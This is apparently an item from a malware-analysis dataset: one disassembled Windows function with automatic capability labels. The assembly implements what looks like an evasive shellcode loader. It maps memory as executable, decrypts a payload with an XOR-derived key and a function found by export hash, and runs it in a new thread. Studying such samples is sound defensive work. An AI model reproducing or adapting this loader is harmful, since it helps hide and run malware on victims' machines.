Function at 0x140001500
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0xb8]
sub rsp, 0x1b8
xor ebx, ebx
mov rdi, rdx
mov rdx, qword [0x140003190]
mov rsi, rcx
mov ecx, dword [0x140003180]
mov qword [rbp + 0xf8], rbx
mov qword [rsp + 0x68], rbx
mov qword [rbp + 0xf0], rbx
mov qword [rsp + 0x70], rbx
mov dword [rsp + 0x60], edi
mov dword [rsp + 0x64], ebx
call fcn.140001a80
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x60]
mov dword [rsp + 0x28], 0x8000000
lea rcx, [rbp + 0xf8]
xor r8d, r8d
mov dword [rsp + 0x20], 0x40
mov edx, 0xf001f
call fcn.140001aa2
test eax, eax
jne 0x1400018fe
mov rdx, qword [0x1400031a8]
mov ecx, dword [0x140003198]
call fcn.140001a80
mov rcx, qword [rbp + 0xf8]
lea rax, [rsp + 0x70]
mov dword [rsp + 0x48], 0x40
lea r8, [rbp + 0xf0]
mov qword [rsp + 0x40], rbx
lea rdx, [rbx - 1]
mov dword [rsp + 0x38], 1
xor r9d, r9d
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
call fcn.140001aa2
test eax, eax
jne 0x1400018fe
mov r8, qword [rbp + 0xf0]
mov dword [rbp + 0xe8], ebx
movsxd rax, dword [rbp + 0xe8]
mov qword [rsp + 0x1a8], r14
cmp rax, rdi
jae 0x140001632
movsxd rax, dword [rbp + 0xe8]
movsxd rcx, dword [rbp + 0xe8]
movzx eax, byte [rax + rsi]
mov byte [rcx + r8], al
mov eax, dword [rbp + 0xe8]
inc eax
mov dword [rbp + 0xe8], eax
movsxd rax, dword [rbp + 0xe8]
cmp rax, rdi
jb 0x140001602
movzx edx, byte [0x140003128]
xorps xmm0, xmm0
mov ecx, ebx
movups xmmword [rbp - 0x68], xmm0
cmp edx, 0xd0
je 0x14000165d
nop word [rax + rax]
inc ecx
mov eax, edx
xor eax, ecx
cmp eax, 0xd0
jne 0x140001650
mov edx, ebx
lea r9, [0x140003128]
mov r8, rbx
nop dword [rax]
movzx eax, cl
xor al, byte [r8 + r9]
lea r8, [r8 + 1]
sub al, dl
inc edx
mov byte [rbp + r8 - 0x69], al
cmp edx, 0x10
jl 0x140001670
lea rax, [rbp - 0x68]
mov qword [rsp + 0x1e0], r12
mov qword [rbp - 0x80], rax
lea rcx, str.Cryptsp
mov rax, qword [rbp + 0xf0]
mov qword [rsp + 0x1b0], r13
mov qword [rbp - 0x70], rax
mov qword [rsp + 0x1a0], r15
mov dword [rsp + 0x78], 0x10
mov dword [rsp + 0x7c], 0x10
mov dword [rbp - 0x78], edi
mov dword [rbp - 0x74], edi
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, rax
test rax, rax
je 0x1400017f0
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1400017f0
movsxd rax, dword [r14 + 0x3c]
add rax, r14
cmp dword [rax], 0x4550
jne 0x1400017f0
movups xmm0, xmmword [rax + 0x18]
lea rcx, [rbp - 0x50]
mov edi, ebx
movups xmm1, xmmword [rax + 0x28]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x38]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x48]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x68]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x78]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rax + 0x88]
sub rax, 0xffffffffffffff68
movups xmmword [rcx - 0x10], xmm0
movups xmm1, xmmword [rax]
movups xmm0, xmmword [rax + 0x10]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm0
movups xmm0, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm1
movups xmm1, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm0
movups xmm0, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm1
movups xmm1, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm0
movups xmmword [rcx + 0x60], xmm1
mov r15d, dword [rbp + 0x20]
add r15, r14
mov r12d, dword [r15 + 0x20]
mov r13d, dword [r15 + 0x1c]
add r12, r14
mov edx, dword [r15 + 0x24]
add r13, r14
add rdx, r14
mov qword [rbp + 0xe8], rdx
cmp dword [r15 + 0x14], ebx
jbe 0x1400017f0
nop dword [rax]
mov eax, edi
mov ecx, dword [r12 + rax*4]
movzx eax, word [rdx + rax*2]
add rcx, r14
mov esi, dword [r13 + rax*4]
add rsi, r14
call fcn.140001450
cmp eax, 0x9874186f
je 0x1400017f3
mov rdx, qword [rbp + 0xe8]
inc edi
cmp edi, dword [r15 + 0x14]
jb 0x1400017c0
mov rsi, rbx
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x78]
call rsi
mov r15, qword [rsp + 0x1a0]
mov r14, qword [rsp + 0x1a8]
mov r13, qword [rsp + 0x1b0]
mov r12, qword [rsp + 0x1e0]
test eax, eax
jne 0x1400018fe
mov rdx, qword [0x1400031f0]
mov ecx, dword [0x1400031e0]
call fcn.140001a80
mov rax, qword [rbp + 0xf0]
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x50], rbx
mov r9, 0xffffffffffffffff
mov qword [rsp + 0x48], rbx
xor r8d, r8d
mov qword [rsp + 0x40], rbx
mov edx, 0x1fffff
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call fcn.140001aa2
test eax, eax
jne 0x1400018fe
mov rdx, qword [0x140003208]
mov ecx, dword [0x1400031f8]
call fcn.140001a80
mov rcx, qword [rsp + 0x68]
xor r8d, r8d
xor edx, edx
call fcn.140001aa2
test eax, eax
jne 0x1400018fe
mov rdx, qword [0x1400031c0]
mov ecx, dword [0x1400031b0]
call fcn.140001a80
mov rdx, qword [rbp + 0xf0]
mov rcx, 0xffffffffffffffff
call fcn.140001aa2
test eax, eax
jne 0x1400018fe
mov rdx, qword [0x1400031d8]
mov ecx, dword [0x1400031c8]
call fcn.140001a80
mov rcx, qword [rbp + 0xf8]
call fcn.140001aa2
test eax, eax
sete bl
mov eax, ebx
add rsp, 0x1b8
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor eax, eax
add rsp, 0x1b8
pop rdi
pop rsi
pop rbx
pop rbp
ret